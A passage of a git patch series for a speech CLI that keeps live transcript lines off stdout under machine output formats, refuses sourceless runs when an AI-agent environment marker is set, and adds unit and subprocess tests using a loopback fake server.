             print("WEBVTT", flush=True)
             print(flush=True)
             if note:
@@ -132,6 +134,8 @@ def write_entry(
 
         self._count += 1
         self._all_words.extend(words)
+        if not self.echo:
+            return
 
         text = " ".join(w.get("punctuated_word") or w.get("word", "") for w in words)
         first_speaker: int | None = words[0].get("speaker") if words else None
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
index a46c03b5..01a48ed7 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/command.py
@@ -33,9 +33,12 @@
 from deepctl_core.hosts import CredentialHostError
 from deepctl_core.output import (
     _agentic,
+    format_source,
+    get_output_format,
     is_ai_agent,
     print_error,
     print_hint,
+    print_info,
     print_warning,
 )
 from rich.console import Console
@@ -106,6 +109,18 @@ def __getattr__(name: str) -> Any:
     raise AttributeError(f"module {__name__!r} has no attribute {name!r}")
 
 
+def _machine_format() -> bool:
+    """True when live transcript lines stay off stdout: a machine format
+    that was asked for (``-o json``/``-o yaml``) or chosen because of a hard
+    AI-agent signal. The final result is then the only payload.
+    JSON implied by soft detection alone (CI, cron, no TERM) keeps 0.4.0's
+    live lines, since those pipelines read stdout as a stream."""
+    return get_output_format() in ("json", "yaml") and format_source() in (
+        "explicit",
+        "hard_agent",
+    )
+
+
 _freeze_registered = False
 
 
@@ -165,6 +180,10 @@ class ListenCommand(BaseCommand):
     requires_project = False
     ci_friendly = True
 
+    #: Live transcript lines go to stdout; False under a machine format.
+    _echo: bool = True
+    #: ``--verbose``: under a machine format, finals go to stderr as INFO.
+    _verbose: bool = False
     #: Host of the live socket, for network_unavailable details.
     _ws_host: str = ""
     #: Set after a SIGTERM drain; exit_code_for re-raises it.
@@ -361,6 +380,28 @@ def get_arguments(self) -> list[dict[str, Any]]:
 
     # ── Entry point ────────────────────────────────────────────────────
 
+    def pre_auth_check(self, config: Config, **kwargs: Any) -> Any | None:
+        """Under a hard AI-agent signal, refuse a run with no source.
+
+        Without SOURCE or --mic, a non-TTY stdin would be streamed until an
+        end of input that may never come. Agents name stdin with ``-``
+        explicitly. Runs before authentication, so nothing is sent.
+        """
+        if kwargs.get("source") is not None or kwargs.get("mic"):
+            return None
+        if not is_ai_agent():
+            return None
+        prog = _prog()
+        text = msg.E_LISTEN_NO_SOURCE.format(prog=prog)
+        print_error(escape(text))
+        print_hint(escape(msg.H_LISTEN_NO_SOURCE))
+        return ListenCodedError(
+            error=text,
+            code=msg.CODE_INVALID_ARGUMENT,
+            hint=msg.H_LISTEN_NO_SOURCE,
+            next_step=f"{prog} {self.name} --help",
+        )
+
     def handle(
         self,
         config: Config,
@@ -371,6 +412,7 @@ def handle(
         source: str | None = kwargs.get("source")
         use_mic: bool = kwargs.get("mic", False)
         guided_flow = False
+        self._verbose = config.get("output.verbose", False) is True
 
         # ── Resolve mode ───────────────────────────────────────────────
         if source == "-":
@@ -808,6 +850,7 @@ def _stream_mic(
 
         from . import live
 
+        self._echo = not _machine_format()
         # From here on Ctrl-C ends the mic session, even before the
         # session's own handler is in place (imports, connecting).
         early = live.EarlyStop()
@@ -815,7 +858,7 @@ def _stream_mic(
         caption_writer: StreamingCaptionWriter | None = None
 
         if caption_format:
-            caption_writer = StreamingCaptionWriter(caption_format)
+            caption_writer = StreamingCaptionWriter(caption_format, echo=self._echo)
             note = f"Model: {model} · Language: {language}"
             if diarize:
                 note += " · Speaker labels enabled"
@@ -1026,6 +1069,7 @@ def _stream_stdin(
 
         from . import live
 
+        self._echo = not _machine_format()
         resolved_encoding = encoding or "linear16"
         if not encoding:
             print_warning(
@@ -1038,7 +1082,7 @@ def _stream_stdin(
         caption_writer: StreamingCaptionWriter | None = None
 
         if caption_format:
-            caption_writer = StreamingCaptionWriter(caption_format)
+            caption_writer = StreamingCaptionWriter(caption_format, echo=self._echo)
             note = f"Model: {model} · Language: {language}"
             if diarize:
                 note += " · Speaker labels enabled"
@@ -1448,18 +1492,32 @@ def _handle_ws_message(
                 line = format_diarized_words(words)
                 if line:
                     transcript_acc.append(line)
-                    print(line, flush=True)
+                    self._print_final(line)
                     return
 
             transcript = alt.get("transcript", "")
             if transcript:
                 transcript_acc.append(transcript)
-                print(transcript, flush=True)
+                self._print_final(transcript)
 
         elif interim and not caption_writer:
             transcript = alt.get("transcript", "")
             if transcript:
-                print(f"\r{transcript}          ", end="", flush=True)
+                self._print_interim(transcript)
+
+    def _print_final(self, line: str) -> None:
+        """A final transcript line: stdout, or under a machine format only
+        ``INFO:`` on stderr with ``--verbose`` (the result is the payload)."""
+        if self._echo:
+            print(line, flush=True)
+        else:
+            if self._verbose:
+                print_info(escape(line), stderr=True)
+
+    def _print_interim(self, text: str) -> None:
+        """An interim rewrite; dropped under a machine format."""
+        if self._echo:
+            print(f"\r{text}          ", end="", flush=True)
 
     @staticmethod
     def _new_v2_state() -> dict[str, Any]:
@@ -1514,7 +1572,7 @@ def _handle_v2_turn(
         if event == "EndOfTurn":
             self._emit_v2_turn(st, transcript_acc, caption_writer=caption_writer)
         elif event == "Update" and interim and not caption_writer and transcript:
-            print(f"\r{transcript}          ", end="", flush=True)
+            self._print_interim(transcript)
 
     def _emit_v2_turn(
         self,
@@ -1537,7 +1595,7 @@ def _emit_v2_turn(
             transcript_acc.append(transcript)
         else:
             transcript_acc.append(transcript)
-            print(transcript, flush=True)
+            self._print_final(transcript)
 
     @staticmethod
     def _timed_v2_words(
@@ -1593,29 +1651,45 @@ def output_result(self, result: Any, config: Config) -> None:
         import json as _json
         from datetime import date, datetime
 
+        from . import live
+
         def _default(obj: Any) -> str:
             if isinstance(obj, (datetime, date)):
                 return obj.isoformat()
             return str(obj)
 
-        from deepctl_core.output import get_output_format
-
         fmt = get_output_format()
 
-        if not isinstance(result, ListenResult) or result.status != "success":
-            super().output_result(result, config)
+        # Live: transcript lines (or captions) were printed as they arrived.
+        # Under a machine format nothing was, and the final result, whatever
+        # its status, is the one payload on stdout.
+        if isinstance(result, ListenResult) and result.mode == "live":
+            if fmt not in ("json", "yaml"):
+                return
+            payload = result.model_dump(exclude_none=True)
+            try:
+                if fmt == "json":
+                    sys.stdout.write(
+                        _json.dumps(
+                            payload, indent=2, ensure_ascii=False, default=_default
+                        )
+                        + "\n"
+                    )
+                    sys.stdout.flush()
+                else:
+                    import yaml
+
+                    sys.stdout.write(
+                        yaml.safe_dump(payload, sort_keys=False, allow_unicode=True)
+                    )
+                    sys.stdout.flush()
+            except BrokenPipeError:
+                # The reader went away (`| true`): end quietly, exit as is.
+                live.silence_stdout()
             return
 
-        # Live results are printed in real-time; only show a brief summary
-        if result.mode == "live":
-            if result.caption_format:
-                return  # captions were already printed incrementally
-            if result.status == "success" and not result.transcript:
-                return  # nothing to add
-            if fmt == "json":
-                out.print_json(
-                    _json.dumps(result.model_dump(exclude_none=True), default=_default)
-                )
+        if not isinstance(result, ListenResult) or result.status != "success":
+            super().output_result(result, config)
             return
 
         # Caption mode: print captions to stdout regardless of output format
diff --git a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
index d5488894..f8d51f3e 100644
--- a/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
+++ b/packages/deepctl-cmd-listen/src/deepctl_cmd_listen/messages.py
@@ -13,6 +13,14 @@
 CODE_SERVER_ERROR = "server_error"
 CODE_NETWORK_UNAVAILABLE = "network_unavailable"
 
+# invalid_argument: a hard agent signal, no SOURCE, no --mic.
+E_LISTEN_NO_SOURCE = (
+    "{prog} listen needs a file, a URL, --mic, or - to read audio from stdin."
+)
+H_LISTEN_NO_SOURCE = (
+    "Pass a file path or URL. To stream audio from stdin, pass - explicitly."
+)
+
 # invalid_argument: reading stdin failed.
 E_LISTEN_STDIN_UNREADABLE = "Couldn't read audio from stdin: {os_error}."
 H_LISTEN_STDIN_UNREADABLE = (
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live_command.py b/packages/deepctl-cmd-listen/tests/unit/test_live_command.py
index 652b1dbf..f7ec239f 100644
--- a/packages/deepctl-cmd-listen/tests/unit/test_live_command.py
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live_command.py
@@ -1,15 +1,18 @@
-"""ListenCommand's live path: stream failures, SIGTERM, host checks."""
+"""ListenCommand's live surface: no-source refusal, machine output, drain timeout."""
 
 from __future__ import annotations
 
 import json
-from unittest.mock import MagicMock
+from unittest.mock import MagicMock, Mock, patch
 
 import pytest
+from click.testing import CliRunner
 from deepctl_cmd_listen import live
 from deepctl_cmd_listen import messages as msg
+from deepctl_cmd_listen.captions import StreamingCaptionWriter
 from deepctl_cmd_listen.command import ListenCommand
 from deepctl_cmd_listen.models import ListenCodedError, ListenResult
+from deepctl_core import Config, PluginManager
 
 from .test_listen_command import _EndOnCloseStream, _install_websockets, _stdin_pipe
 
@@ -19,6 +22,22 @@ def command():
     return ListenCommand()
 
 
+@pytest.fixture
+def no_agent(monkeypatch):
+    for name in (
+        "AI_AGENT",
+        "CLAUDECODE",
+        "CLAUDE_CODE_ENTRYPOINT",
+        "CODEX_SANDBOX",
+        "CODEX_SANDBOX_NETWORK_DISABLED",
+        "CURSOR_AGENT",
+        "GEMINI_CLI",
+        "OR_APP_NAME",
+        "OR_SITE_URL",
+    ):
+        monkeypatch.delenv(name, raising=False)
+
+
 def _client():
     client = MagicMock()
     client.config.get_profile.return_value.base_url = "https://api.deepgram.com"
@@ -26,6 +45,82 @@ def _client():
     return client
 
 
+def _invoke(command, args, *, env=None):
+    config = Mock(spec=Config)
+    config.get.side_effect = lambda key, default=None: (
+        True if key == "output.quiet" else default
+    )
+    click_command = PluginManager()._create_click_command(command)
+    with (
+        patch("deepctl_core.base_command.AuthManager.guard") as guard,
+        patch(
+            "deepctl_core.base_command.AuthManager.check_base_url",
+            return_value="https://api.deepgram.com",
+        ),
+    ):
+        result = CliRunner().invoke(
+            click_command, args, obj={"config": config}, env=env, catch_exceptions=False
+        )
+    return result, guard
+
+
+# ── No source under a hard agent signal ────────────────────────────────────
+
+
+def test_agent_without_source_is_refused_before_auth(command, monkeypatch, no_agent):
+    monkeypatch.setenv("AI_AGENT", "x")
+    connect = MagicMock()
+    _install_websockets(monkeypatch, connect)
+    result, guard = _invoke(command, [])
+    assert result.exit_code == 1
+    guard.assert_not_called()  # nothing authenticated, nothing sent
+    assert (
+        "listen needs a file, a URL, --mic, or - to read audio from stdin."
+        in result.stderr
+    )
+    assert msg.H_LISTEN_NO_SOURCE in result.stderr
+
+
+def test_agent_no_source_payload(command, monkeypatch, no_agent):
+    monkeypatch.setenv("AI_AGENT", "x")
+    early = command.pre_auth_check(Mock(spec=Config), source=None, mic=False)
+    assert isinstance(early, ListenCodedError)
+    data = early.model_dump()
+    assert list(data) == [
+        "error",
+        "status",
+        "code",
+        "hint",
+        "next_step",
+        "schema_version",
+    ]
+    assert data["status"] == "error"
+    assert data["code"] == "invalid_argument"
+    assert data["next_step"].endswith(" listen --help")
+    assert data["schema_version"] == 1
+    assert command.exit_code_for(early) == 1
+
+
+@pytest.mark.parametrize(
+    "kwargs", [{"source": "-"}, {"source": "a.wav"}, {"mic": True}]
+)
+def test_agent_with_a_source_is_not_refused(command, monkeypatch, no_agent, kwargs):
+    monkeypatch.setenv("AI_AGENT", "x")
+    assert command.pre_auth_check(Mock(spec=Config), **kwargs) is None
+
+
+def test_no_agent_keeps_auto_detection(command, no_agent):
+    assert command.pre_auth_check(Mock(spec=Config), source=None, mic=False) is None
+
+
+def test_ci_alone_is_not_a_hard_signal(command, monkeypatch, no_agent):
+    monkeypatch.setenv("CI", "true")
+    assert command.pre_auth_check(Mock(spec=Config), source=None, mic=False) is None
+
+
+# ── A machine format keeps transcript lines off stdout ─────────────────────
+
+
 def _results(*texts):
     return [
         json.dumps(
@@ -41,6 +136,23 @@ def _results(*texts):
     ]
 
 
+class _Replay(_EndOnCloseStream):
+    def __init__(self, frames):
+        super().__init__()
+        self.frames = list(frames)
+
+    async def __anext__(self):
+        if self.frames:
+            return self.frames.pop(0)
+        return await super().__anext__()
+
+
+def _fmt(monkeypatch, fmt, source="explicit"):
+    monkeypatch.setattr("deepctl_cmd_listen.command.get_output_format", lambda: fmt)
+    monkeypatch.setattr("deepctl_core.output.get_output_format", lambda: fmt)
+    monkeypatch.setattr("deepctl_cmd_listen.command.format_source", lambda: source)
+
+
 def _stream(command, **over):
     kw = {
         "model": "nova-3",
@@ -62,6 +174,76 @@ def _stream(command, **over):
     return command._stream_stdin(_client(), **kw)
 
 
+def test_machine_format_prints_only_the_result(command, monkeypatch, capsys):
+    _fmt(monkeypatch, "json")
+    _stdin_pipe(monkeypatch, b"\0" * 3200)
+    _install_websockets(monkeypatch, _Replay(_results("hello", "world")))
+    result = _stream(command)
+    assert result.status == "success"
+    assert capsys.readouterr().out == ""  # nothing streamed
+    command.output_result(result, Mock(spec=Config))
+    out = capsys.readouterr().out
+    payload = json.loads(out)  # exactly one document
+    assert payload["transcript"] == "hello world"
+    assert payload["status"] == "success"
+    assert payload["mode"] == "live"
+
+
+def test_human_format_streams_lines(command, monkeypatch, capsys):
+    _fmt(monkeypatch, "default", "default")
+    _stdin_pipe(monkeypatch, b"\0" * 3200)
+    _install_websockets(monkeypatch, _Replay(_results("hello", "world")))
+    result = _stream(command)
+    command.output_result(result, Mock(spec=Config))
+    assert capsys.readouterr().out == "hello\nworld\n"
+
+
+def test_machine_format_result_on_empty_stdin(command, monkeypatch, capsys):
+    """/dev/null on stdin: still exactly one Result document."""
+    _fmt(monkeypatch, "json")
+    _stdin_pipe(monkeypatch, b"")
+    _install_websockets(monkeypatch, _Replay([]))
+    result = _stream(command)
+    command.output_result(result, Mock(spec=Config))
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["transcript"] == ""
+
+
+def test_machine_format_captions_not_streamed(command, monkeypatch, capsys, tmp_path):
+    _fmt(monkeypatch, "json")
+    _stdin_pipe(monkeypatch, b"\0" * 3200)
+    frame = json.dumps(
+        {
+            "type": "Results",
+            "is_final": True,
+            "start": 0,
+            "duration": 1,
+            "channel": {
+                "alternatives": [
+                    {
+                        "transcript": "hi",
+                        "words": [{"word": "hi", "start": 0.0, "end": 0.5}],
+                    }
+                ]
+            },
+        }
+    )
+    _install_websockets(monkeypatch, _Replay([frame]))
+    save = tmp_path / "c.vtt"
+    result = _stream(command, caption_format="webvtt", save_to=str(save))
+    assert capsys.readouterr().out == ""
+    assert "WEBVTT" in save.read_text()
+    assert result.caption_format == "webvtt"
+
+
+def test_caption_writer_echo_false_collects_silently(capsys):
+    w = StreamingCaptionWriter("srt", echo=False)
+    w.print_header()
+    w.write_entry([{"word": "a", "start": 0.0, "end": 1.0}], 0.0, 1.0)
+    assert capsys.readouterr().out == ""
+    assert w.accumulated_words == [{"word": "a", "start": 0.0, "end": 1.0}]
+
+
 # ── Drain timeout and server errors ────────────────────────────────────────
 
 
@@ -174,6 +356,15 @@ def test_untrusted_host_never_connects(command, monkeypatch):
     connect.assert_not_called()
 
 
+def test_cancelled_live_result_is_payload_under_json(command, monkeypatch, capsys):
+    _fmt(monkeypatch, "json")
+    r = ListenResult(status="cancelled", source="stdin", mode="live", transcript="x")
+    command.output_result(r, Mock(spec=Config))
+    payload = json.loads(capsys.readouterr().out)
+    assert payload["status"] == "cancelled"
+    assert payload["transcript"] == "x"
+
+
 # ── A server error close keeps the transcript in details ────────────────────
 
 
@@ -203,6 +394,50 @@ async def __anext__(self):
     assert "(1011)" in err and "Token k" not in err
 
 
+# ── Implicit JSON from soft signals only keeps live lines ──────────────────
+
+
+@pytest.mark.parametrize(
+    ("source", "lines"),
+    [("soft", True), ("explicit", False), ("hard_agent", False)],
+)
+def test_live_lines_follow_format_source(command, monkeypatch, capsys, source, lines):
+    _fmt(monkeypatch, "json", source)
+    _stdin_pipe(monkeypatch, b"\0" * 3200)
+    _install_websockets(monkeypatch, _Replay(_results("hello", "world")))
+    result = _stream(command)
+    streamed = capsys.readouterr().out
+    assert (streamed == "hello\nworld\n") is lines
+    command.output_result(result, Mock(spec=Config))
+    payload = json.loads(capsys.readouterr().out)  # then one Result document
+    assert payload["transcript"] == "hello world"
+
+
+def test_format_source_values(monkeypatch):
+    from deepctl_core import output
+
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    output.setup_output("default")
+    assert output.format_source() == "default"
+    output.setup_output("json")
+    assert output.format_source() == "explicit"
+    monkeypatch.setitem(output._output_config, "agentic", True)
+    monkeypatch.delenv("AI_AGENT", raising=False)
+    for name in output.AI_AGENT_ENV_MARKERS:
+        monkeypatch.delenv(name, raising=False)
+    monkeypatch.delenv("OR_APP_NAME", raising=False)
+    monkeypatch.delenv("OR_SITE_URL", raising=False)
+    output.setup_output("default")
+    assert output.format_source() == "soft"
+    monkeypatch.setenv("AI_AGENT", "x")
+    output.setup_output("default")
+    assert output.format_source() == "hard_agent"
+    assert output.get_output_format() == "json"
+    output.setup_output("default")
+    monkeypatch.setitem(output._output_config, "agentic", False)
+    output.setup_output("default")
+
+
 # ── A SIGTERM drain ends the process by SIGTERM ────────────────────────────
 
 
@@ -239,3 +474,21 @@ def test_unreadable_stdin_is_invalid_argument(command, monkeypatch, capsys):
     assert result.details == {"transcript": "", "transcript_chars": 0}
     assert command.exit_code_for(result) == 1
     assert "Couldn't read audio from stdin" in capsys.readouterr().err
+
+
+def test_live_result_into_a_closed_stdout_is_quiet(command, monkeypatch):
+    """`dg -o json listen - | true`: the reader is gone before the final
+    Result; dg points stdout at /dev/null and carries on."""
+    import sys as _sys
+
+    silenced = []
+    monkeypatch.setattr(live, "silence_stdout", lambda: silenced.append(True))
+    _fmt(monkeypatch, "json")
+
+    def boom(_text):
+        raise BrokenPipeError(32, "Broken pipe")
+
+    monkeypatch.setattr(_sys.stdout, "write", boom)
+    r = ListenResult(status="success", source="stdin", mode="live", transcript="x")
+    command.output_result(r, Mock(spec=Config))
+    assert silenced == [True]
diff --git a/packages/deepctl-cmd-listen/tests/unit/test_live_signals.py b/packages/deepctl-cmd-listen/tests/unit/test_live_signals.py
new file mode 100644
index 00000000..f5dde92c
--- /dev/null
+++ b/packages/deepctl-cmd-listen/tests/unit/test_live_signals.py
@@ -0,0 +1,281 @@
+"""Real exit codes for Ctrl-C on live ``dg listen``, in a subprocess.
+
+A loopback WebSocket server in this process stands in for the API (fake key,
+no network), and a fake ``sounddevice`` on ``PYTHONPATH`` stands in for the
+microphone. ``dg listen -`` stops with exit 2 on Ctrl-C; ``dg listen --mic``
+ends with exit 0, including a Ctrl-C that lands before the session's own
+handler is in place.
+"""
+
+from __future__ import annotations
+
+import json
+import os
+import signal
+import subprocess
+import sys
+import threading
+import time
+from pathlib import Path
+
+import pytest
+
+pytestmark = pytest.mark.skipif(sys.platform == "win32", reason="POSIX signals")
+
+ENTRY = "import sys; from deepctl.main import main; sys.exit(main())"
+FAKE_KEY = "fa1ce0000000000000000000000000000000000d"
+# Generous bound for a cold interpreter start on a loaded runner; a normal
+# run of each test takes about a second.
+STARTUP_S = 20.0
+
+FAKE_SOUNDDEVICE = '''
+import threading, time
+
+class RawInputStream:
+    """Calls the callback with 50 ms of silence until stopped."""
+
+    def __init__(self, samplerate, channels, dtype, callback, blocksize, **kw):
+        self._cb = callback
+        self._n = blocksize * channels
+        self._stop = threading.Event()
+
+    def start(self):
+        def run():
+            while not self._stop.is_set():
+                self._cb(b"\\x10\\x00" * self._n, self._n, None, None)
+                time.sleep(0.05)
+
+        threading.Thread(target=run, daemon=True).start()
+
+    def stop(self):
+        self._stop.set()
+
+    def close(self):
+        pass
+'''
+
+
+def _final(text: str) -> str:
+    return json.dumps(
+        {
+            "type": "Results",
+            "is_final": True,
+            "start": 0.0,
+            "duration": 1.0,
+            "channel": {"alternatives": [{"transcript": text, "words": []}]},
+        }
+    )
+
+
+class _FakeServer:
+    """Sends one final after the first audio frame, and one more on
+    CloseStream, then closes. ``audio`` is set once audio has arrived."""
+
+    def __init__(self) -> None:
+        from websockets.sync.server import serve
+
+        self.audio = threading.Event()
+        self.closestream = threading.Event()
+        self._server = serve(self._handle, "127.0.0.1", 0, process_request=self._http)
+        self.port = self._server.socket.getsockname()[1]
+        threading.Thread(target=self._server.serve_forever, daemon=True).start()
+
+    @staticmethod
+    def _http(connection, request):
+        """Plain HTTP (the auth pre-flight): one fake project, as JSON."""
+        if request.headers.get("Upgrade", "").lower() == "websocket":
+            return None
+        from websockets.datastructures import Headers
+        from websockets.http11 import Response
+
+        body = json.dumps(
+            {"projects": [{"project_id": "00000000-0000-0000-0000-000000000000"}]}
+        ).encode()
+        headers = Headers(
+            [
+                ("Content-Type", "application/json"),
+                ("Content-Length", str(len(body))),
+                ("Connection", "close"),
+            ]
+        )
+        return Response(200, "OK", headers, body)
+
+    def _handle(self, ws) -> None:
+        sent = False
+        try:
+            for message in ws:
+                if isinstance(message, bytes):
+                    if not sent:
+                        ws.send(_final("hello"))
+                        sent = True
+                        self.audio.set()
+                elif "CloseStream" in message:
+                    self.closestream.set()
+                    ws.send(_final("bye"))
+                    ws.close()
+                    return
+        except Exception:
+            pass
+
+    def shutdown(self) -> None:
+        self._server.shutdown()
+
+
+@pytest.fixture
+def server():
+    srv = _FakeServer()
+    yield srv
+    srv.shutdown()
+
+
+@pytest.fixture
+def env(tmp_path, server):
+    fakes = tmp_path / "fakes"
+    fakes.mkdir()
+    (fakes / "sounddevice.py").write_text(FAKE_SOUNDDEVICE)
+    home = tmp_path / "home"
+    home.mkdir()
+    e = {
+        k: v
+        for k, v in os.environ.items()
+        if not k.startswith(("DEEPGRAM_", "DEEPCTL_", "DG_"))
+        and k
+        not in (
+            "AI_AGENT",
+            "AGENT",
+            "CI",
+            "CLAUDECODE",
+            "CLAUDE_CODE_ENTRYPOINT",
+            "CODEX_SANDBOX",
+            "CODEX_SANDBOX_NETWORK_DISABLED",
+            "CURSOR_AGENT",
+            "GEMINI_CLI",
+            "GOOSE_TERMINAL",
+            "OR_APP_NAME",
+            "OR_SITE_URL",
+        )
+    }
+    e.update(
+        HOME=str(home),
+        XDG_CONFIG_HOME=str(home / ".config"),
+        TERM="xterm",
+        DEEPGRAM_API_KEY=FAKE_KEY,
+        DEEPGRAM_BASE_URL=f"http://127.0.0.1:{server.port}",
+        DEEPCTL_TELEMETRY_DISABLED="1",
+        DEEPCTL_TELEMETRY_DSN="http://k@127.0.0.1:9/1",
+        CI="true",  # no background update check (it can hold exit for 2 s)
+        PYTHONPATH=os.pathsep.join(
+            [str(fakes), *filter(None, [os.environ.get("PYTHONPATH")])]
+        ),
+    )
+    return e
+
+
+def _start(args, env, *, stdin=subprocess.DEVNULL):
+    return subprocess.Popen(
+        [sys.executable, "-c", ENTRY, "-o", "json", "listen", *args],
+        stdin=stdin,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        env=env,
+    )
+
+
+def _wait_for_stderr(proc, text: str, timeout: float = STARTUP_S) -> None:
+    """Read stderr until ``text`` appears (the banner), byte by byte."""
+    assert proc.stderr is not None
+    seen = b""
+    deadline = time.monotonic() + timeout
+    while text.encode() not in seen:
+        if time.monotonic() > deadline or proc.poll() is not None:
+            raise AssertionError(f"never saw {text!r}: {seen.decode(errors='replace')}")
+        b = proc.stderr.read(1)
+        if not b:
+            continue
+        seen += b
+
+
+def _why(proc) -> str:
+    proc.kill()
+    _out, err = proc.communicate(timeout=STARTUP_S)
+    return f"no audio reached the server; stderr: {err.decode(errors='replace')}"
+
+
+def _finish(proc):
+    # A stop drains for at most 1 s; this only bounds a hang.
+    out, err = proc.communicate(timeout=STARTUP_S)
+    return proc.returncode, out.decode(), err.decode()
+
+
+def test_stdin_ctrl_c_exits_2(env, server):
+    proc = _start(
+        ["-", "--encoding", "linear16", "--sample-rate", "16000"],
+        env,
+        stdin=subprocess.PIPE,
+    )
+    assert proc.stdin is not None
+    try:
+        proc.stdin.write(b"\x10\x00" * 3200)
+        proc.stdin.flush()
+        assert server.audio.wait(STARTUP_S), _why(proc)
+        proc.send_signal(signal.SIGINT)
+        rc, out, err = _finish(proc)
+    finally:
+        proc.kill()
+    assert rc == 2, err
+    assert server.closestream.is_set()
+    payload = json.loads(out)
+    assert payload["status"] == "cancelled"
+    assert "hello" in payload["transcript"]
+    assert "Traceback" not in err
+
+
+def test_mic_ctrl_c_exits_0(env, server):
+    proc = _start(["--mic"], env)
+    try:
+        assert server.audio.wait(STARTUP_S), _why(proc)
+        proc.send_signal(signal.SIGINT)
+        rc, out, err = _finish(proc)
+    finally:
+        proc.kill()
+    assert rc == 0, err
+    assert server.closestream.is_set()
+    payload = json.loads(out)
+    assert payload["status"] == "success"
+    assert "hello" in payload["transcript"]
+    assert "Traceback" not in err
+
+
+def test_mic_ctrl_c_right_after_start_exits_0(env, server):
+    """Ctrl-C as soon as the banner shows, before the session's handler is
+    installed (imports and connect still running), is still a mic stop.
+    --verbose keeps the status line that -o json drops in this mode."""
+    proc = subprocess.Popen(
+        [sys.executable, "-c", ENTRY, "--verbose", "-o", "json", "listen", "--mic"],
+        stdin=subprocess.DEVNULL,
+        stdout=subprocess.PIPE,
+        stderr=subprocess.PIPE,
+        env=env,
+    )
+    try:
+        _wait_for_stderr(proc, "Listening on microphone")
+        proc.send_signal(signal.SIGINT)
+        rc, out, err = _finish(proc)
+    finally:
+        proc.kill()
+    assert rc == 0, err
+    payload = json.loads(out)
+    assert payload["status"] == "success"
+    assert "Traceback" not in err
+
+
+def test_fake_sounddevice_is_on_path(env):
+    """Guard against the real PortAudio module sneaking in."""
+    out = subprocess.run(
+        [sys.executable, "-c", "import sounddevice; print(sounddevice.__file__)"],
+        env=env,
+        capture_output=True,
+        text=True,
+        check=True,
+    )
+    assert Path(out.stdout.strip()).parent.name == "fakes"
diff --git a/packages/deepctl-core/src/deepctl_core/output.py b/packages/deepctl-core/src/deepctl_core/output.py
index b7270631..c9269bc8 100644
--- a/packages/deepctl-core/src/deepctl_core/output.py
+++ b/packages/deepctl-core/src/deepctl_core/output.py
@@ -163,9 +163,19 @@ def __repr__(self) -> str:
     "verbose": False,
     "color": not _agentic,
     "agentic": _agentic,
+    "format_source": "default",
 }
 
 
+def _format_source(requested: str) -> str:
+    """Why the output format is what it is; see format_source()."""
+    if requested != "default":
+        return "explicit"
+    if not _output_config["agentic"]:
+        return "default"
+    return "hard_agent" if is_ai_agent() else "soft"
+
+
 def setup_output(
     format_type: str = "json", quiet: bool = False, verbose: bool = False
 ) -> None:
@@ -175,6 +185,7 @@ def setup_output(
     requested (format_type == "default"), auto-switch to JSON for
     machine-friendly output.
     """
+    _output_config["format_source"] = _format_source(format_type)
     # Auto-default to JSON in agentic mode when user didn't pick a format
     if format_type == "default" and _output_config["agentic"]:
         format_type = "json"
@@ -199,6 +210,7 @@ def update_output(
     verbose state the root group already applied.
     """
     if format_type is not None:
+        _output_config["format_source"] = _format_source(format_type)
         if format_type == "default" and _output_config["agentic"]:
             format_type = "json"
         _output_config["format"] = format_type
@@ -678,6 +690,17 @@ def get_output_format() -> str:
     return str(_output_config["format"])
 
 
+def format_source() -> str:
+    """Why the output format is what it is.
+
+    ``"explicit"``: asked for with ``-o``. ``"hard_agent"``: JSON chosen
+    implicitly while an AI-agent marker (``is_ai_agent()``) is set.
+    ``"soft"``: JSON chosen implicitly by the TTY/CI heuristics alone.
+    ``"default"``: no format was chosen.
+    """
+    return str(_output_config.get("format_source", "default"))
+
+
 def get_console() -> Console:
     """Get the global console instance.
 

From ee0b1cc4a99ced27709d2a7f42038da96bdff413 Mon Sep 17 00:00:00 2001
From: Corey Weathers <corey.weathers@deepgram.com>
Date: Sat, 31 Oct 2026 18:32:04 -0400
Subject: [PATCH 18/88] perf(speak): stream audio to pipes and players as it
 arrives

Speak v1 wrote each chunk to stdout without flushing, so a pipe saw
nothing until 8 KB had piled up (about 640 ms with mp3-sized chunks),
and --play buffered the whole utterance before starting the player.
Each chunk is now written and flushed as the SDK yields it, and --play
with a stdin player (ffplay, paplay, aplay) starts the player before the
request and feeds it chunk by chunk, as Flux already did. afplay keeps
the buffered temp-file path.

When the reader of stdout or the player goes away (EPIPE), the stream
stops, the response is closed and the command ends quietly with exit 0;
fd 1 is pointed at the null device so the exit flush can't fail. Any
other stdout write error (ENOSPC, EIO, EFBIG, EDQUOT) is the new coded
error output_unwritable: exit 1, two stderr lines, no envelope on
stdout and no "Exception ignored". The same holds when the result
document itself can't be written to stdout: EPIPE exits 0 quietly, any
other error is output_unwritable.

Closing a stream now waits at most 2 s. A WebSocket closing handshake
the server doesn't answer, as on Ctrl-C mid-stream, used to hold the
exit for up to 10 s; the close is abandoned after 2 s instead.
---
 .../src/deepctl_cmd_speak/command.py          | 424 ++++++++++++++----
 .../src/deepctl_cmd_speak/messages.py         |  24 +
 .../src/deepctl_cmd_speak/models.py           |  21 +-
 .../tests/unit/test_speak_command.py          |  12 +-
 .../tests/unit/test_speak_imports.py          |  59 +++
 .../tests/unit/test_speak_streaming.py        | 406 +++++++++++++++++
 6 files changed, 859 insertions(+), 87 deletions(-)
 create mode 100644 packages/deepctl-cmd-speak/src/deepctl_cmd_speak/messages.py
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_imports.py
 create mode 100644 packages/deepctl-cmd-speak/tests/unit/test_speak_streaming.py

diff --git a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
index 3602cb62..2ca0abf3 100644
--- a/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
+++ b/packages/deepctl-cmd-speak/src/deepctl_cmd_speak/command.py
@@ -3,14 +3,16 @@
